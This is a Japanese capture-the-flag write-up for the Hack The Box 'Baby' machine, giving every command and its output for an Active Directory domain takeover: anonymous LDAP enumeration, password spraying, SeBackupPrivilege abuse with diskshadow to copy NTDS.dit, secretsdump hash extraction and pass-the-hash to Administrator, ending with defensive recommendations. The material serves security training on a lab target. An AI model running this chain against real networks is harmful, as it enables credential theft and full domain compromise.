Hack The BoxのWriteup(Baby)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Baby — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC標準ポート群
→
匿名LDAP bind
description漏洩 “BabyStart123!”
→
全DN dump で隠れOUユーザ発見
Caroline.Robinson (OU=it)
→
パスワードスプレー
nxc ldap / smb change-password
→
evil-winrm ログイン
user.txt ✓
→
SeBackupPrivilege
reg save SYSTEM hive
→
diskshadow VSS + NTDS.dit
impacket-secretsdump
→
PTH Administrator
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャンと /etc/hosts 設定

BASH
nmap -sV -sC -p- --min-rate 500 10.129.234.71
echo "10.129.234.71  baby.vl BabyDC.baby.vl BabyDC" | sudo tee -a /etc/hosts
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server
5985/tcp open  wsman         Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  adws
ℹ️
典型的なWindows Server 2022 Active Directory ドメインコントローラ (baby.vl、ホスト名 BabyDC)。ポート389でLDAP匿名バインドを試す。
PHASE 2

匿名LDAP列挙 — description漏洩 & 隠れOUユーザ発見

通常ユーザ列挙(objectClass=user)で description 漏洩を発見

BASH
ldapsearch -x -b "dc=baby,dc=vl" "(objectClass=user)" -H ldap://BabyDC.baby.vl
RESULT
dn: CN=Teresa Bell,CN=Users,DC=baby,DC=vl
sAMAccountName: Teresa.Bell
description: Set initial password to BabyStart123!
...(他8ユーザ: Ashley.Webb, Hugh.George, Leonard.Dyer, Connor.Wilkinson,
   Joseph.Hughes, Kerry.Wilson, Guest 等)
🚨
平文の既定パスワードが description フィールドに漏洩。しかし CN=Users 配下の9ユーザ全員に対して spray しても誰も有効ではない (Phase 3-1 参照)。

全オブジェクトDN dump で隠れOUユーザを発見

BASH
# "(objectClass=user)" フィルタでは出てこない、OU配下のユーザを
# フィルタ無し("*")の全オブジェクト列挙で探す
ldapsearch -x -b "dc=baby,dc=vl" "*" -H ldap://BabyDC.baby.vl | grep -B2 "OU=dev\|OU=it"
RESULT
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
🚨
重要発見: 組織単位(OU) OU=dev と OU=it 配下に CN=Users とは別の2ユーザが存在し、(objectClass=user) での 最初の列挙では取得できていなかった(LDAPフィルタがOUの配置構造を考慮していないため)。 Caroline.Robinson(OU=it)が次のステップの標的になる。
PHASE 3

パスワードスプレー & user.txt 取得

全11ユーザに対する既定パスワードのスプレー

BASH
nxc ldap baby.vl -u users.txt -p 'BabyStart123!'
RESULT
LDAP   10.129.234.71  389  BABYDC  [-] baby.vl\Ashley.Webb:BabyStart123!
LDAP   10.129.234.71  389  BABYDC  [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
LDAP   10.129.234.71  389  BABYDC  [-] baby.vl\Connor.Wilkinson:BabyStart123!
...(他全員は単純な認証失敗)
✅
Caroline.Robinson だけがパスワード自体は有効だが STATUS_PASSWORD_MUST_CHANGE(期限切れ・初回変更必須)状態。 ログインそのものはまだできない。

期限切れパスワードの更新

BASH
nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS='NewPass123!'
RESULT
SMB    10.129.234.71  445  BABYDC  [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
CHANGE-P...  10.129.234.71  445  BABYDC  [+] Successfully changed password for Caroline.Robinson
⚠️
Sambaの smbpasswd -U .../-r はこの状態のADアカウントに対して 常に “current password is not correct” で失敗する(SAMR経由のパスワード変更 フローをSambaクライアントが正しく処理できない既知の癖)。代わりに netexec の change-password モジュールを使うと確実に成功する。

evil-winrm ログイン & user.txt 取得

BASH
evil-winrm -i 10.129.234.71 -u 'Caroline.Robinson' -p 'NewPass123!'
*Evil-WinRM* PS> type C:\Users\Caroline.Robinson\Desktop\user.txt
RESULT
4fd5c071ff3b93d19bec4e730a63401a
user.txt — Caroline.Robinson@baby.vl
4fd5c071ff3b93d19bec4e730a63401a
PHASE 4

SeBackupPrivilege → diskshadow → NTDS.dit抽出

SeBackupPrivilegeでSYSTEM hiveを退避

BASH
*Evil-WinRM* PS> whoami /priv | findstr SeBackup
*Evil-WinRM* PS> reg save hklm\system C:\Users\Caroline.Robinson\Documents\system
RESULT
SeBackupPrivilege   Back up files and directories   Enabled
The operation completed successfully.
ℹ️
Caroline.Robinson は Backup Operators グループのメンバーで SeBackupPrivilege/SeRestorePrivilege を持つ。ただし ローカルSAMのAdministratorハッシュだけではドメインDCではPTHに使えないため、 NTDS.dit(ドメインのアカウントDB本体)を抽出する必要がある。

diskshadow で C: の永続VSSシャドウコピーを作成

BASH
# ローカルでスクリプトを作成し evil-winrm の upload でアップロード
cat > backup.txt <<'EOF'
set verbose on
set metadata C:\Windows\Temp\test.cab
set context persistent
add volume C: alias cdrive
create
expose %cdrive% E:
EOF

*Evil-WinRM* PS> upload backup.txt
*Evil-WinRM* PS> diskshadow /s C:\Users\Caroline.Robinson\Documents\backup.txt
RESULT
-> set verbose on
-> set metadata C:\Windows\Temp\test.cab
-> set context persistent
-> add volume C: alias cdrive
-> create
Alias cdrive for shadow ID ... set as environment variable.
-> expose %cdrive% E:
%cdrive% = E:\  ... VSS_E_OBJECT_ALREADY_EXISTS が出ないことを確認
🚨
重大なハマりポイント: このスクリプトファイルをLFのみ(CRLFでない) 改行で生成すると、diskshadow.exe(古いDOS風コンソールツール)は 各行末尾の1文字を読み落とす(例: "set verbose on" → "set verbose o" と誤認識し構文エラー)。この場合 expose %cdrive% E: が一度も実行されず E:ドライブが作成されない まま後続処理が無言で失敗する。スクリプトは必ず CRLF (\r\n) 終端で 生成すること。

ロック中のNTDS.ditをシャドウコピー経由で退避

BASH
*Evil-WinRM* PS> robocopy /b E:\Windows\ntds C:\Users\Caroline.Robinson\Documents ntds.dit
RESULT
           1    C:\Users\Caroline.Robinson\Documents\
100%        New File              16777216        ntds.dit

Files : 1 Copied
ℹ️
稼働中のドメインコントローラの C:\Windows\ntds\ntds.dit は常にロックされていて 通常のコピーができない。シャドウコピー(VSS)のスナップショット経由 (E:\Windows\ntds\ntds.dit)であればロックを回避してコピーできる。 robocopy /b (バックアップモード)を使うことでACLの問題も回避する。

SYSTEM hive と NTDS.dit をKaliへ取得

BASH
impacket-smbclient 'baby.vl/Caroline.Robinson:NewPass123!@10.129.234.71'
# >>> use C$
# >>> cd Users\Caroline.Robinson\Documents
# >>> get system
# >>> get ntds.dit
# >>> exit
⚠️
evil-winrm 内蔵の download コマンドは実測 ~28KB/s しか出ず、20MBの SYSTEM hiveで10分超かかる。Backup OperatorsはSeBackupPrivilegeによりNTFS ACLを 無視してC$管理共有にも読み取りアクセス可能なため、impacket-smbclient でC$経由取得する方式に切替えると実測6倍以上高速かつ確実(Samba純正の smbclientは同サイズのファイルで NT_STATUS_IO_TIMEOUT を 起こし使えなかった)。

secretsdump でドメインAdministratorハッシュを復号

BASH
impacket-secretsdump -system system -ntds ntds.dit LOCAL
RESULT
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:...:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:...:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Caroline.Robinson:1115:...:25451b15eeabfa492d9a18442a6e914b:::
...(他ドメインユーザ全員のハッシュも復号される)
✅
ドメイン Administrator の NTLMハッシュを獲得。 NTDS.dit(全ドメインアカウントDBそのもの)の抽出に成功したことで、ローカルSAMでは 不可能だったドメイン管理者への昇格が可能になった。
PHASE 5

Pass-the-Hash → root.txt

NTLMハッシュでAdministratorとしてPTHログイン

BASH
evil-winrm -i 10.129.234.71 -u 'administrator' -H 'ee4457ae59f1e3fbd764e33d9cef123d'
*Evil-WinRM* PS> type C:\Users\Administrator\Desktop\root.txt
RESULT
8792512ea1a89e34e3bc3bdb54a2da26
root.txt — Administrator@baby.vl
8792512ea1a89e34e3bc3bdb54a2da26
✅
パスワード無しでNTLMハッシュそのもの(-H オプション)を使って 認証する Pass-the-Hash により、平文パスワードを一切知らずにドメイン管理者権限を獲得。

evil-winrm出力のANSIエスケープに関する補足

NOTE
evil-winrm の出力には --no-colors を付けてもカーソル制御のANSIエスケープ
(例: \x1b[1G)が混入し続ける。これが32桁hexフラグの直前に来ると、エスケープ
シーケンス末尾の英字が単語構成文字として誤認識され、フラグ抽出の正規表現の
境界判定が崩れて正しい値が取れないことがある。

スクリプトでフラグを自動抽出する場合は、まず
  re.sub(r"\x1b\[[0-9;?]*[a-zA-Z]", "", text)
でANSIエスケープを除去してから処理すること。手動でターミナルから目視で
コピーする場合はこの問題は発生しない。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Caroline.Robinson@baby.vl
4fd5c071ff3b93d19bec4e730a63401a
root.txt — Administrator@baby.vl
8792512ea1a89e34e3bc3bdb54a2da26

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
匿名LDAP bind + 情報漏洩 Active Directory LDAP (389) 全ユーザ一覧・平文既定パスワードの漏洩 High 認証なしでdescriptionフィールドに記載された初期パスワードと、通常フィルタでは 見えないOU配下の隠れユーザを発見
パスワードスプレー + 期限切れパスワード Caroline.Robinson 初期アクセス (user権限) Medium 漏洩した既定パスワードを全ユーザにスプレーし、有効(期限切れ)な1アカウントを特定・パスワード更新
SeBackupPrivilege 濫用 Backup Operators グループメンバー ドメイン全体の認証情報漏洩 Critical diskshadowでVSSシャドウコピーを作成しロック中のNTDS.ditを退避、secretsdumpでドメイン管理者ハッシュを復号

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapAD DC標準ポート群、baby.vl/BabyDC特定
2LDAP列挙匿名bind + 全DN dump既定パスワード漏洩、隠れOUユーザ(Caroline.Robinson)発見
3パスワードスプレーnxc ldap/smb change-password + evil-winrmuser.txt
4NTDS.dit抽出SeBackupPrivilege + diskshadow(VSS) + impacket-smbclient/secretsdumpドメインAdministrator NTLMハッシュ
5権限昇格Pass-the-Hash (evil-winrm -H)root.txt

学んだ教訓 & 防御策

問題点防御策
匿名LDAP bindが有効で、全ユーザ・description属性が誰でも閲覧可能 匿名LDAPバインドを無効化する(dsHeuristics設定)。description等の属性に平文パスワードを記載しない運用を徹底する。
通常のCN=Users以外のOUに配置されたユーザが監査・パスワードポリシー適用から漏れていた 全OUを対象にした定期的なアカウント監査を行い、既定パスワード未変更・期限切れアカウントを洗い出す。
Backup OperatorsグループがSeBackupPrivilege経由で実質的にドメイン管理者と同等の権限を持つ Backup Operatorsグループのメンバーを最小限に絞る。バックアップ操作は専用の監査付きワークフローに限定し、diskshadow等の生ツールを一般運用アカウントで実行できないようにする。
HackTheBox: Baby | 完全攻略レポート